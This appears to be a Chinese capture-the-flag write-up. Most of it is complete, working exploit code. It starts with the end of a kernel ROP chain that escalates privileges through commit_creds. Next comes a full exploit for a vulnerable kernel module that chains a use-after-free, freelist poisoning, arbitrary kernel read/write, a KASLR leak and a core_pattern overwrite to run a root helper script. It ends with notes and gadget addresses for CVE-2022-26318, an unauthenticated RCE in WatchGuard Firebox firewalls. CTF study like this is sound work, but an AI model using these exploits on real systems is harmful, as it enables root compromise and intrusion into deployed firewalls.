int kind;
uint64_t base;
uint64_t q[0x20];
};
enum {
SLOT_NONE,
SLOT_SEM,
SLOT_INOTIFY,
};
struct msgbuf_dyn {
long mtype;
char mtext[MSG_TEXT_SIZE];
};
static long sys_call3(long nr, long a1, long a2, long a3) {
long ret;
__asm__ volatile(
"syscall"
: "=a"(ret)
: "a"(nr), "D"(a1), "S"(a2), "d"(a3)
: "rcx", "r11", "memory");
return ret;
}
static long sys_call1(long nr, long a1) {
long ret;
__asm__ volatile(
"syscall"
: "=a"(ret)
: "a"(nr), "D"(a1)
: "rcx", "r11", "memory");
return ret;
}
static long sys_call2(long nr, long a1, long a2) {
long ret;
__asm__ volatile(
"syscall"
: "=a"(ret)
: "a"(nr), "D"(a1), "S"(a2)
: "rcx", "r11", "memory");
return ret;
}
static void raw_write1(const char *buf, size_t len) {
(void)sys_call3(1, 1, (long)buf, (long)len);
}
static void raw_exit(int code) {
(void)sys_call1(60, code);
__builtin_unreachable();
}
static void die(const char *msg) {
perror(msg);
exit(1);
}
static void save_state(void) {
__asm__ volatile("mov %%cs, %0" : "=r"(user_cs));
__asm__ volatile("mov %%ss, %0" : "=r"(user_ss));
__asm__ volatile("mov %%rsp, %0" : "=r"(user_sp));
__asm__ volatile("pushfq; pop %0" : "=r"(user_rflags));
}
static void get_flag(void) {
static const char *paths[] = {
"/root/flag",
"/flag",
"/home/ctf/flag",
"/root/flag.txt",
"/flag.txt",
};
char buf[0x100];
long fd;
long n;
size_t i;
static const char ok[] = "root-ok\n";
for (i = 0; i < sizeof(paths) / sizeof(paths[0]); i++) {
fd = sys_call3(2, (long)paths[i], O_RDONLY, 0);
if (fd < 0) {
continue;
}
n = sys_call3(0, fd, (long)buf, sizeof(buf) - 1);
if (n > 0) {
raw_write1(buf, (size_t)n);
raw_write1("\n", 1);
raw_exit(0);
}
}
raw_write1(ok, sizeof(ok) - 1);
raw_exit(0);
}
static void return_ok(void) {
static const char msg[] = "return-ok\n";
raw_write1(msg, sizeof(msg) - 1);
raw_exit(0);
}
static void pin_cpu0(void) {
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(0, &set);
if (sched_setaffinity(0, sizeof(set), &set) < 0) {
die("sched_setaffinity");
}
}
static void do_req(int fd, unsigned long cmd, uint32_t idx, uint32_t size,
void *ptr, uint64_t extra, const char *what, int allow_eilseq) {
struct req req = {
.idx = idx,
.size = size,
.ptr = (uint64_t)ptr,
.extra = extra,
};
if (ioctl(fd, cmd, &req) < 0) {
if (allow_eilseq && errno == EILSEQ) {
return;
}
die(what);
}
}
static int spray_msg(uint64_t handler) {
struct msgbuf_dyn msg;
int qid;
qid = msgget(IPC_PRIVATE, 0600 | IPC_CREAT);
if (qid < 0) {
die("msgget");
}
memset(&msg, MSG_PATTERN, sizeof(msg));
msg.mtype = MSG_TYPE;
*(uint64_t *)(msg.mtext + MSG_HANDLER_OFFSET) = handler;
if (msgsnd(qid, &msg, sizeof(msg.mtext), 0) < 0) {
die("msgsnd");
}
return qid;
}
static int is_kernel_ptr(uint64_t v) {
return (v & 0xffff000000000000ULL) == 0xffff000000000000ULL;
}
static int is_inotify_slot(const uint64_t *q, uint64_t *base_out) {
if (q[1] == q[2] && q[4] == q[5] &&
is_kernel_ptr(q[1]) && is_kernel_ptr(q[4]) &&
is_kernel_ptr(q[17]) && is_kernel_ptr(q[18])) {
*base_out = q[1] - 0x10;
return 1;
}
return 0;
}
static int is_sem_slot(const uint64_t *q, uint64_t *base_out) {
if (q[16] == q[17] && q[18] == q[19] && q[20] == q[21] &&
q[22] == 1 && is_kernel_ptr(q[16]) &&
is_kernel_ptr(q[18]) && is_kernel_ptr(q[20])) {
*base_out = q[16] - 0x88;
return 1;
}
return 0;
}
static uint64_t try_leak_slide_segment(int fd, int base_idx) {
uint64_t fill[0x20];
uint64_t leak_base;
uint64_t patch[0x20];
struct leak_slot slots[NUM_LEAK_HOLES];
int semids[NUM_LEAK_SEMS];
int ifds[NUM_LEAK_HOLES - NUM_LEAK_SEMS];
unsigned i;
memset(fill, 0x41, sizeof(fill));
for (i = 0; i < NUM_LEAK_HOLES; i++) {
do_req(fd, CMD_ALLOC, (uint32_t)(base_idx + (int)i), 0x100, fill, 0,
"alloc-leak", 0);
}
for (i = 0; i < NUM_LEAK_HOLES; i++) {
do_req(fd, CMD_MARK, (uint32_t)(base_idx + (int)i), 0, NULL, 0x1bf52,
"mark-leak", 1);
}
for (i = 0; i < NUM_LEAK_HOLES; i++) {
do_req(fd, CMD_FREE, (uint32_t)(base_idx + (int)i), 0, NULL, 0,
"free-leak", 0);
}
for (i = 0; i < NUM_LEAK_SEMS; i++) {
semids[i] = semget(IPC_PRIVATE, 1, 0600 | IPC_CREAT);
if (semids[i] < 0) {
die("semget");
}
}
memset(ifds, 0xff, sizeof(ifds));
for (i = 0; i < NUM_LEAK_HOLES - NUM_LEAK_SEMS; i++) {
ifds[i] = inotify_init1(0);
if (ifds[i] < 0) {
die("inotify_init1");
}
}
memset(slots, 0, sizeof(slots));
for (i = 0; i < NUM_LEAK_HOLES; i++) {
slots[i].idx = base_idx + (int)i;
do_req(fd, CMD_READ, (uint32_t)slots[i].idx, 0x100, slots[i].q, 0,
"read-leak", 0);
if (is_sem_slot(slots[i].q, &leak_base)) {
slots[i].kind = SLOT_SEM;
slots[i].base = leak_base;
} else if (is_inotify_slot(slots[i].q, &leak_base)) {
slots[i].kind = SLOT_INOTIFY;
slots[i].base = leak_base;
}
}
for (i = 0; i < NUM_LEAK_HOLES; i++) {
if (slots[i].kind != SLOT_SEM) {
continue;
}
memcpy(patch, slots[i].q, sizeof(patch));
patch[22] = 8;
do_req(fd, CMD_WRITE, (uint32_t)slots[i].idx, 0x100, patch, 0,
"write-leak", 0);
}
for (i = 0; i < NUM_LEAK_SEMS; i++) {
int ret;
uint32_t cand;
uint32_t slide32;
errno = 0;
ret = semctl(semids[i], 4, GETVAL);
if (ret == -1 && errno != 0) {
continue;
}
cand = (uint32_t)ret;
if (cand == 0 || cand == 0xffffffffU) {
continue;
}
slide32 = cand - (uint32_t)(KERNEL_BASE + INOTIFY_OPS_OFF);
if ((slide32 & 0x1fffffU) == 0 && slide32 < 0x40000000U) {
return slide32;
}
}
return ~0ULL;
}
static uint64_t leak_slide_auto(int fd) {
int base_idx;
for (base_idx = 0; base_idx < 64; base_idx += NUM_LEAK_HOLES) {
uint64_t slide = try_leak_slide_segment(fd, base_idx);
if (slide != ~0ULL) {
return slide;
}
}
return ~0ULL;
}
int main(int argc, char **argv) {
int fd;
uint64_t initial[0x20];
uint64_t chain[0x20];
uint64_t leak[0x20];
int qids[NUM_MSGS];
uint64_t slide;
uint64_t pop_rdi_ret;
uint64_t commit_creds;
uint64_t init_cred;
uint64_t pivot_gadget;
uint64_t kpti_trampoline;
int auto_slide;
int probe_mode;
int target_idx;
unsigned reclaimed;
unsigned i;
slide = 0;
auto_slide = argc > 1 && !strcmp(argv[1], "auto");
if (!auto_slide && argc > 1 && strcmp(argv[1], "probe")) {
slide = strtoull(argv[1], NULL, 0);
}
probe_mode = (argc > 1 && !strcmp(argv[1], "probe")) ||
(argc > 2 && !strcmp(argv[2], "probe"));
save_state();
pin_cpu0();
fd = open(DEV_PATH, O_RDWR);
if (fd < 0) {
die("open");
}
if (auto_slide) {
slide = leak_slide_auto(fd);
if (slide == ~0ULL) {
dprintf(2, "auto leak failed\n");
return 1;
}
}
pop_rdi_ret = KERNEL_BASE + slide + POP_RDI_RET_OFF;
commit_creds = KERNEL_BASE + slide + COMMIT_CREDS_OFF;
init_cred = KERNEL_BASE + slide + INIT_CRED_OFF;
pivot_gadget = KERNEL_BASE + slide + PIVOT_GADGET_OFF;
kpti_trampoline = KERNEL_BASE + slide + KPTI_TRAMPOLINE_OFF;
memset(initial, 0x41, sizeof(initial));
for (i = 0; i < NUM_EXEC_HOLES; i++) {
do_req(fd, CMD_ALLOC, EXEC_BASE_IDX + i, 0x100, initial, 0,
"alloc-exec", 0);
}
for (i = 0; i < NUM_EXEC_HOLES; i++) {
do_req(fd, CMD_MARK, EXEC_BASE_IDX + i, 0, NULL, 0x1bf52,
"mark-exec", 1);
}
for (i = 0; i < NUM_EXEC_HOLES; i++) {
do_req(fd, CMD_FREE, EXEC_BASE_IDX + i, 0, NULL, 0, "free-exec", 0);
}
for (i = 0; i < NUM_MSGS; i++) {
qids[i] = spray_msg(pivot_gadget);
}
target_idx = -1;
reclaimed = 0;
for (i = 0; i < NUM_EXEC_HOLES; i++) {
memset(leak, 0, sizeof(leak));
do_req(fd, CMD_READ, EXEC_BASE_IDX + i, 0x100, leak, 0, "read-pre",
0);
if (leak[1] == MSG_TYPE && leak[2] == MSG_TEXT_SIZE &&
leak[5] == 0x4d4d4d4d4d4d4d4dULL) {
reclaimed++;
if (target_idx < 0) {
target_idx = EXEC_BASE_IDX + (int)i;
}
}
}
if (target_idx < 0) {
dprintf(2,
"msg reclaim failed: hits=%u slide=%#llx "
"first_qwords=%#llx %#llx %#llx %#llx qid0=%d\n",
reclaimed,
(unsigned long long)slide,
(unsigned long long)leak[0],
(unsigned long long)leak[1],
(unsigned long long)leak[2],
(unsigned long long)leak[5],
qids[0]);
return 1;
}
memset(chain, 0, sizeof(chain));
chain[0] = 0x1111111111111111ULL;
chain[1] = 0x2222222222222222ULL;
for (i = 6; i < 20; i++) {
chain[i] = 0;
}
if (probe_mode) {
chain[2] = kpti_trampoline;
chain[17] = 0;
chain[18] = 0x3333333333333333ULL;
chain[19] = (uint64_t)return_ok;
chain[20] = user_cs;
chain[21] = user_rflags;
chain[22] = user_sp;
chain[23] = user_ss;
} else {
chain[2] = pop_rdi_ret;
chain[3] = init_cred;
chain[4] = commit_creds;
chain[5] = kpti_trampoline;
chain[20] = 0;
chain[21] = 0x3333333333333333ULL;
chain[22] = (uint64_t)get_flag;
chain[23] = user_cs;
chain[24] = user_rflags;
chain[25] = user_sp;
chain[26] = user_ss;
}
do_req(fd, CMD_WRITE, (uint32_t)target_idx, 0x100, chain, 0, "write", 0);
do_req(fd, CMD_EXEC, (uint32_t)target_idx, 0, NULL, 0, "exec", 0);
return 0;
}
ref-revenge
同样也是内核题
run.sh
#!/bin/bash
qemu-system-x86_64 \
-m 256M \
-cpu kvm64,+smep,+smap \
-smp cores=2,threads=2 \
-kernel ./bzImage \
-hda ./rootfs.img \
-nographic \
-monitor /dev/null \
-append "console=ttyS0 root=/dev/sda rw rdinit=/sbin/init nokaslr pti=on quiet oops=panic panic=1" \
-no-reboot \
-snapshot \
-s
ida看驱动CrossRef.ko
从 init_module可以看出,模块创建了一个名字叫 netjob_cache的 kmem_cache
单个对象大小是 0x200,注册了 misc 设备 crossref,用户态对应节点是 /dev/crossref
也就是说,后面所有 job 对象都来自一个独立的 SLUB cache,大小固定 0x200。
这点非常重要,因为独立 cache 的 freelist 规律更稳定,0x200 大小的对象布局可以精确推
后续做 UAF / freelist poisoning 时,不会被别的 kmalloc-size 对象频繁污染
接着看 ioctl 分发,确定攻击面
crossref_ioctl 是整题最关键的总入口
把它逆完后,可以得到这些命令:
0x1111:分配对象
0x2222:释放对象
0x3333:读对象 data
0x4444:写对象 data
0xdeadbeef:修改 job->magic_tag
0xcafebabe:调用job->handler(job->data)
看对象分配函数alloc_job ,逆出来后,可以还原出对象布局大致如下:
struct NetJob {
int refcnt; // +0x00
int state; // +0x04
char data[0x100]; // +0x08
uint64_t magic_tag; // +0x108
uint64_t handler; // +0x110
// ... padding 到 0x200
};
其中最关键的点有 3 个:
data从+0x8开始,长度正好0x100
说明正常读写接口只覆盖 +0x8 ~ +0x107。
handler在+0x110
说明用户态正常 read/write 碰不到函数指针
alloc_job会初始化handler = default_handler
所以每个新对象默认都带着一个模块内代码指针
这个细节后面会变成我们的模块基址泄漏
看读写函数rw_job
它只会对 job + 0x8 这 0x100 字节做 _copy_to_user/_copy_from_user
也就是说:
- 能读写的是
data[0x100] - 正常情况下不能直接覆盖
magic_tag - 也不能直接覆盖
handler
漏洞点在deadbeef 分支
支逻辑大概是:
- 取出
jobs[idx] - 给它
refcount_inc - 检查
job->state - 如果传入值等于特殊常量
0x1bf52
- 打印
Critical Magic Error - 把
state = 2 - 做一次
refcount_dec - 如果减到 0,就
kmem_cache_free(job)
- 但是不会清空
jobs[idx]
这就是核心漏洞UAF
这个模块有两个很适合利用的性质
cache 是独立的,所有对象都来自 netjob_cache,复用关系可控
而且对象固定 0x200而在这个 cache 中:
- 对象尾部附近会放 freelist 编码值
- 被 free 后,再通过旧悬挂指针读回去,就能观察到 freelist 元数据
这意味着我们能做两件事:
- 泄漏模块里的代码指针
- 做 freelist poisoning,最终拿到任意地址读写
利用思路
先分配两个对象A,C
然后对 A 触发 deadbeef(idx=A, extra=0x1bf52):
A被 freejobs[A]仍然悬挂
此时通过旧的 A 去读对象尾部,能拿到 freelist 编码值
接着:
- 再分配一个新对象把
A位置重新占住 - free 掉
C - 再 free 掉刚刚那个新对象
这样旧的 A 位置里保存的 freelist,就指向了 C
再通过旧 A 读出这个 freelist 编码值,就能恢复出 C 的真实内核地址
然后:
- 再让
C自己也变成悬挂对象 - 利用 freelist poisoning,让下一次分配落到
C - 0x108 - 这样新对象的
data[0..7]就会覆盖到原来C->handler
最后再通过旧的 C 去读 data[0..7],读到的其实就是C->handler,也就是 default_handler
default_handler 在模块内偏移固定:
module_base = default_handler - 0x10;
这是因为:
__pfx_default_handler在.text + 0x0default_handler在.text + 0x10
所以拿到 default_handler 的运行时地址,就等于拿到了整个模块映射基址
模块基址有了以后,下一步目标是:
把 jobs[] 数组本身劫持掉,构造一个“假 job 指针”,从而做任意地址读写
模块里有一个全局数组:
NetJob *jobs[1280];
它在模块 .bss 里,偏移固定:
jobs = module_base + 0x2700
如果能让某个 jobs[idx] 指向我们伪造的内存,那么:
0x3333会从fake_job + 0x8读0x4444会往fake_job + 0x8写
于是只要把 fake_job 的起始地址摆到合适的位置,就能把任意目标地址映射成“一个 job 的 data 区
我最后采用的是更稳的一种写法,已经拿到模块基址之后,切到另一颗 CPU
在一块新的、干净的 slab 上再做一次最小化 stable UAF
通过 freelist poisoning,把下一次分配直接分配到:
&jobs[SELF_IDX] - 8
这样新分配出来的“对象”,其实落在 jobs[] 数组内部。
然后往这里写一个假内容:
fake[0] = &jobs[SELF_IDX] - 8;
fake[1] = target - 8;
效果是:
jobs[SELF_IDX]变成一个可控“假 job”jobs[ARW_IDX]变成另一个“指向目标地址前 8 字节”的假 job
之后:
- 对
SELF_IDX写 16 字节,可以动态修改ARW_IDX指向哪里 - 对
ARW_IDX做read/write,就等价于对任意内核地址做read/write
这就是最终的 arbitrary read 和arbitrary write
接着是KASLR 泄漏
前面我们已经有 arbitrary read 了
再回头看 default_handler 这段模块代码:它内部会调用 _printk
所以只要读出 default_handler 的机器码,解析出那条 call _printk 的相对偏移,就能还原 _printk 的真实运行时地址。
而 _printk 在本地 vmlinux 里的静态地址是固定的:
_printk = 0xffffffff8119a9f0
于是:
slide = printk_runtime - static__printk
这就是远程当轮内核的真实 KASLR 偏移
拿到 slide 以后,就可以得到远程真实地址:
core_pattern = static_core_pattern + slide;
最终完整攻击流程如下:
第一次 stable UAF
- 泄漏
default_handler - 计算模块基址
- 用
A、C两个对象控制 freelist - 通过悬挂指针读 freelist 编码值
- 恢复
C真实地址 - poison 到
C-0x108 - 读出
C->handler
得到:default_handler和module_base
第二次 stable UAF
- 劫持
jobs[] - 建立 arbitrary read/write
- 在干净 slab 上重新做一次最小化 UAF
- freelist poisoning 到
&jobs[SELF_IDX] - 8 - 构造两个假 job
- 通过
SELF_IDX动态修改ARW_IDX的目标地址
得到:任意地址读和任意地址写
然后live 泄漏 KASLR拿远程本轮真实 slide
- 用 arbitrary read 读
default_handler机器码 - 解析其中对
_printk的call - 算出
_printk真实地址 - 与静态
vmlinux中_printk地址相减
得到slide并算出 core_pattern
core_pattern = static_core_pattern + slide;
覆盖 core_pattern把它写成:
|/tmp/x
在用户态提前准备:
#!/bin/sh
cp /root/flag /tmp/flag
chmod 777 /tmp/flag
触发 crash,子进程设置 RLIMIT_CORE=inf后空指针写崩溃
于是内核执行:
/tmp/x
最终/root/flag被 root 拷贝到 /tmp/flag,用户态读取 /tmp/flag,拿到真 flag
exp.c
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#define CMD_ALLOC 0x1111UL
#define CMD_FREE 0x2222UL
#define CMD_READ 0x3333UL
#define CMD_WRITE 0x4444UL
#define CMD_SET_HANDLER 0xdeadbeefUL
#define CRIT_MAGIC 0x1bf52ULL
#define DATA_SZ 0x100
#define SLAB_OBJS 16
#define IDX_A 0
#define IDX_C 1
#define IDX_A_LIVE 16
#define IDX_A_REUSE 17
#define IDX_C_REUSE 18
#define IDX_C_CONSUME 19
#define IDX_FAKE_LEAK 20
#define IDX_CPU1_STALE 32
#define IDX_CPU1_CONSUME 48
#define IDX_FAKE_JOBS 49
#define SELF_IDX 1200
#define ARW_IDX 1201
#define DEFAULT_HANDLER_OFF 0x10ULL
#define JOBS_OFF 0x2700ULL
#define STATIC_PRINTK 0xffffffff8119a9f0ULL
#define STATIC_CORE_PATTERN 0xffffffff8346f0e0ULL
struct request {
uint32_t idx;
uint32_t size;
uint64_t ptr;
uint64_t extra;
};
static void die(const char *msg) {
perror(msg);
exit(1);
}
static void diex(const char *msg) {
fprintf(stderr, "%s\n", msg);
exit(1);
}
static int pin_cpu(int cpu) {
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu, &set);
return sched_setaffinity(0, sizeof(set), &set);
}
static long do_ioctl(int fd, unsigned long cmd, struct request *req) {
return ioctl(fd, cmd, req);
}
static void alloc_job(int fd, int idx, const void *buf, uint32_t size) {
struct request req;
memset(&req, 0, sizeof(req));
req.idx = (uint32_t)idx;
req.size = size;
req.ptr = (uint64_t)(uintptr_t)buf;
if (do_ioctl(fd, CMD_ALLOC, &req) < 0 && errno != EEXIST) {
die("alloc_job");
}
}
static void free_job(int fd, int idx) {
struct request req;
memset(&req, 0, sizeof(req));
req.idx = (uint32_t)idx;
if (do_ioctl(fd, CMD_FREE, &req) < 0 && errno != ENOENT) {
die("free_job");
}
}
static void read_job(int fd, int idx, void *buf, uint32_t size) {
struct request req;
memset(buf, 0, size);
memset(&req, 0, sizeof(req));
req.idx = (uint32_t)idx;
req.size = size;
req.ptr = (uint64_t)(uintptr_t)buf;
if (do_ioctl(fd, CMD_READ, &req) < 0) {
die("read_job");
}
}
static void write_job(int fd, int idx, const void *buf, uint32_t size) {
struct request req;
memset(&req, 0, sizeof(req));
req.idx = (uint32_t)idx;
req.size = size;
req.ptr = (uint64_t)(uintptr_t)buf;
if (do_ioctl(fd, CMD_WRITE, &req) < 0) {
die("write_job");
}
}
static long set_handler_magic(int fd, int idx, uint64_t val) {
struct request req;
memset(&req, 0, sizeof(req));
req.idx = (uint32_t)idx;
req.extra = val;
return do_ioctl(fd, CMD_SET_HANDLER, &req);
}
static uint64_t tail_qword(const uint8_t *buf) {
uint64_t v;
memcpy(&v, buf + DATA_SZ - sizeof(v), sizeof(v));
return v;
}
static void set_tail_qword(uint8_t *buf, uint64_t v) {
memcpy(buf + DATA_SZ - sizeof(v), &v, sizeof(v));
}
static void fill_data(uint8_t *buf, uint8_t c) {
memset(buf, c, DATA_SZ);
}
static void alloc_fill(int fd, int idx, uint8_t c) {
uint8_t buf[DATA_SZ];
fill_data(buf, c);
alloc_job(fd, idx, buf, sizeof(buf));
}
static void free_range(int fd, int from, int to) {
int i;
for (i = from; i <= to; i++) {
free_job(fd, i);
}
}
static void free_slot_if_live(int fd, int idx) {
free_job(fd, idx);
}
static void write_file(const char *path, const void *buf, size_t len, mode_t mode) {
int fd;
fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, mode);
if (fd < 0) {
die("open output file");
}
if (write(fd, buf, len) != (ssize_t)len) {
die("write output file");
}
close(fd);
}
static void prepare_helper_files(void) {
static const char script[] =
"#!/bin/sh\n"
"cp /root/flag /tmp/flag\n"
"chmod 777 /tmp/flag\n";
unlink("/tmp/flag");
write_file("/tmp/x", script, sizeof(script) - 1, 0777);
chmod("/tmp/x", 0777);
}
static int trigger_core_pattern_and_print_flag(void) {
char flag[256];
int fd;
pid_t pid;
int status;
int tries;
pid = fork();
if (pid < 0) {
die("fork");
}
if (pid == 0) {
struct rlimit lim;
lim.rlim_cur = RLIM_INFINITY;
lim.rlim_max = RLIM_INFINITY;
setrlimit(RLIMIT_CORE, &lim);
*(volatile int *)0 = 0;
_exit(0);
}
waitpid(pid, &status, 0);
for (tries = 0; tries < 30; tries++) {
fd = open("/tmp/flag", O_RDONLY);
if (fd >= 0) {
ssize_t n = read(fd, flag, sizeof(flag) - 1);
if (n < 0) {
die("read /tmp/flag");
}
flag[n] = '\0';
write(STDOUT_FILENO, flag, (size_t)n);
close(fd);
return 1;
}
usleep(100000);
}
return 0;
}
static uint64_t leak_default_handler(int fd, uint64_t *mask_c_out, uint64_t *obj_c_out) {
uint8_t buf[DATA_SZ];
uint64_t mask_a;
uint64_t enc_c;
uint64_t obj_c;
uint64_t mask_c;
uint64_t handler;
int i;
if (pin_cpu(0) < 0) {
die("pin_cpu 0");
}
free_range(fd, 0, 48);
free_slot_if_live(fd, SELF_IDX);
free_slot_if_live(fd, ARW_IDX);
for (i = 0; i < SLAB_OBJS; i++) {
alloc_fill(fd, i, (uint8_t)(0x41 + i));
}
if (set_handler_magic(fd, IDX_A, CRIT_MAGIC) >= 0) {
diex("critical magic did not fail");
}
read_job(fd, IDX_A, buf, sizeof(buf));
mask_a = tail_qword(buf);
alloc_fill(fd, IDX_A_LIVE, 0x61);
free_job(fd, IDX_C);
free_job(fd, IDX_A_LIVE);
read_job(fd, IDX_A, buf, sizeof(buf));
enc_c = tail_qword(buf);
obj_c = enc_c ^ mask_a;
alloc_fill(fd, IDX_A_REUSE, 0x62);
alloc_fill(fd, IDX_C_REUSE, 0x63);
if (set_handler_magic(fd, IDX_C_REUSE, CRIT_MAGIC) >= 0) {
diex("critical magic on C did not fail");
}
read_job(fd, IDX_C_REUSE, buf, sizeof(buf));
mask_c = tail_qword(buf);
fill_data(buf, 0x64);
set_tail_qword(buf, (obj_c - 0x108ULL) ^ mask_c);
write_job(fd, IDX_C_REUSE, buf, sizeof(buf));
alloc_fill(fd, IDX_C_CONSUME, 0x65);
alloc_fill(fd, IDX_FAKE_LEAK, 0x66);
read_job(fd, IDX_C_REUSE, buf, sizeof(buf));
memcpy(&handler, buf, sizeof(handler));
fprintf(stderr, "mask_a=%#016llx enc_c=%#016llx obj_c=%#016llx mask_c=%#016llx handler=%#016llx\n",
(unsigned long long)mask_a,
(unsigned long long)enc_c,
(unsigned long long)obj_c,
(unsigned long long)mask_c,
(unsigned long long)handler);
*mask_c_out = mask_c;
*obj_c_out = obj_c;
return handler;
}
static void build_jobs_arw(int fd, uint64_t module_base, uint64_t initial_target) {
uint8_t buf[DATA_SZ];
uint64_t jobs_base = module_base + JOBS_OFF;
uint64_t self_ptr = jobs_base + SELF_IDX * 8ULL - 8ULL;
uint64_t mask_p;
int i;
if (pin_cpu(1) < 0) {
die("pin_cpu 1");
}
for (i = IDX_CPU1_STALE; i < IDX_CPU1_STALE + SLAB_OBJS; i++) {
alloc_fill(fd, i, (uint8_t)(0x71 + (i - IDX_CPU1_STALE)));
}
if (set_handler_magic(fd, IDX_CPU1_STALE, CRIT_MAGIC) >= 0) {
diex("critical magic on cpu1 slab did not fail");
}
read_job(fd, IDX_CPU1_STALE, buf, sizeof(buf));
mask_p = tail_qword(buf);
fill_data(buf, 0x81);
set_tail_qword(buf, self_ptr ^ mask_p);
write_job(fd, IDX_CPU1_STALE, buf, sizeof(buf));
alloc_fill(fd, IDX_CPU1_CONSUME, 0x82);
memset(buf, 0, sizeof(buf));
((uint64_t *)buf)[0] = self_ptr;
((uint64_t *)buf)[1] = initial_target - 8ULL;
alloc_job(fd, IDX_FAKE_JOBS, buf, sizeof(buf));
fprintf(stderr, "module_base=%#016llx jobs_base=%#016llx self_ptr=%#016llx mask_p=%#016llx\n",
(unsigned long long)module_base,
(unsigned long long)jobs_base,
(unsigned long long)self_ptr,
(unsigned long long)mask_p);
}
static void set_arw_target(int fd, uint64_t module_base, uint64_t target) {
uint8_t buf[16];
uint64_t jobs_base = module_base + JOBS_OFF;
uint64_t self_ptr = jobs_base + SELF_IDX * 8ULL - 8ULL;
memset(buf, 0, sizeof(buf));
((uint64_t *)buf)[0] = self_ptr;
((uint64_t *)buf)[1] = target - 8ULL;
write_job(fd, SELF_IDX, buf, sizeof(buf));
}
static void arb_read(int fd, uint64_t module_base, uint64_t target, void *buf, uint32_t size) {
set_arw_target(fd, module_base, target);
read_job(fd, ARW_IDX, buf, size);
}
static void arb_write(int fd, uint64_t module_base, uint64_t target, const void *buf, uint32_t size) {
set_arw_target(fd, module_base, target);
write_job(fd, ARW_IDX, buf, size);
}
static uint64_t leak_kernel_slide(int fd, uint64_t module_base, uint64_t default_handler) {
uint8_t code[0x20];
int32_t disp;
uint64_t printk_runtime;
arb_read(fd, module_base, default_handler, code, sizeof(code));
{
int i;
fprintf(stderr, "default_handler bytes:");
for (i = 0; i < (int)sizeof(code); i++) {
fprintf(stderr, " %02x", code[i]);
}
fprintf(stderr, "\n");
}
if (code[0x13] != 0xe8) {
diex("unexpected default_handler bytes");
}
memcpy(&disp, code + 0x14, sizeof(disp));
printk_runtime = default_handler + 0x18ULL + (int64_t)disp;
fprintf(stderr, "printk_runtime=%#016llx\n", (unsigned long long)printk_runtime);
return printk_runtime - STATIC_PRINTK;
}
int main(void) {
int fd;
uint64_t mask_c;
uint64_t obj_c;
uint64_t default_handler;
uint64_t module_base;
uint64_t slide;
uint64_t core_pattern;
char helper_path[8] = "|/tmp/x";
fd = open("/dev/crossref", O_RDWR);
if (fd < 0) {
die("open /dev/crossref");
}
default_handler = leak_default_handler(fd, &mask_c, &obj_c);
module_base = default_handler - DEFAULT_HANDLER_OFF;
build_jobs_arw(fd, module_base, default_handler);
slide = leak_kernel_slide(fd, module_base, default_handler);
core_pattern = STATIC_CORE_PATTERN + slide;
fprintf(stderr, "default_handler=%#016llx module_base=%#016llx slide=%#016llx core_pattern=%#016llx\n",
(unsigned long long)default_handler,
(unsigned long long)module_base,
(unsigned long long)slide,
(unsigned long long)core_pattern);
prepare_helper_files();
arb_write(fd, module_base, core_pattern, helper_path, sizeof(helper_path));
if (!trigger_core_pattern_and_print_flag()) {
diex("failed to retrieve flag");
}
return 0;
}
firebox
这题出的好啊
题目要求是:RCE,或者能读取 flag
这题最终走通的是一条未授权利用链,不依赖默认密码,也不需要先登录后台
首先题目说这是一个常见的防火墙,但是有点老了,好像全是栋啊!能社一下吗?
直接给了镜像文件,结合题目优先想到就是找个cve打打
镜像丢给ai挖了个版本号12.7.1 B644848,结合公开资料和未授权rce找到比较符合的就是CVE-2022-26318
而这题的我参考的核心就是 CVE-2022-26318
漏洞入口是未授权的 /agent/login
参考的公开poc和资料:https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/watchguard_firebox_unauth_rce_cve_2022_26318.rb还有https://github.com/misterxid/watchguard_cve-2022-26318
一开始需要手动配下环境,从接入的 VMware 虚拟网段里拿到的地址,然后在浏览器打开
show interface可以查看当前从 DHCP 配置拿到的地址,至于登录,admin/readwrite 是 WatchGuard Firebox 官方公开的默认内置管理账号口令
浏览器能打开就说明成功了

然后就用这个网址当靶机去测试
公开 PoC 的总体思路是对的
但是公开 PoC 的 gadget 和 first-hop tag 不适用于这份 12.7.1 B644848 镜像
所以不能直接拿 MFA + public gadget 硬打
需要先重新挖当前 build 的 executable gadget,再换一条稳定的 second stage
最后最稳的结果面不是反弹 shell,而是直接把文件内容通过 FastCGI 响应回显出来
这题如果一上来就盲改参数,很容易在 502、无回显、回连不稳定之间绕圈。正确顺序是:
先看公开 PoC 的包体长什么样
先看:
public_rapid7_watchguard.rb:87-94assetnote_watchguard.html:274-276
这两处能直接看出公开链的关键格式:
<full xml prefix>
"A" * 3181
"MFA>"
"<BBBBMFA>" * 3680
这一层的意义是先搞清楚:
- 头部 padding 到底是不是
3181 - first-hop tag 到底怎么闭合
- 后面重复 tag 的布局到底是什么
- 公共资料里没有
AA尾巴
这个点非常关键,因为我前面本地调试时一度用了带 AA 的 full_xml 变种,结果对当前 build 的布局是错位的
再看本地 exploit 的布局函数
确认完公开 payload 之后,再看本地脚本里实际如何拼包:
POCwg_stage2_retest.py:911-924
这里能看到三种布局:
public_exactassetnote_fullfull_xml
其中:
assetnote_full才是最后稳定命中的版本full_xml会多拼一个AA
最后打通时使用的是:
layout = assetnote_full
head_pad = 3181
repeat_count = 3680
再看真实 build 的 gadget 链
布局确认无误后,再用ai去挖当前镜像对应的真实 gadget
先看POCwg_stage2_retest.py:18-32
这里定义了从当前 FireboxV 12.7.1 B644848 镜像中重新挖出来的 real gadget:
FIRST_HOP_TAG = "mEA"
REAL_RET = 0x405020
REAL_RET_2 = 0x40F888
REAL_POP_RAX_RBX_RBP_RET = 0x41D52E
REAL_POP_RSI_R15_RET = 0x41D4D1
REAL_PUSH_RBP_MOV_RBP_RSP_CALL_RAX = 0x405E7C
REAL_MOV_RBP_RSP_CALL_RAX = 0x405E7D
REAL_LEA_RDX_RBP_M80_CALL_RAX = 0x41D1CD
REAL_ADD_RAX_RDX_JMP_RAX = 0x40A84A
CVE只告诉这里有栈溢出- 但栈溢出不等于天然就能执行 shellcode
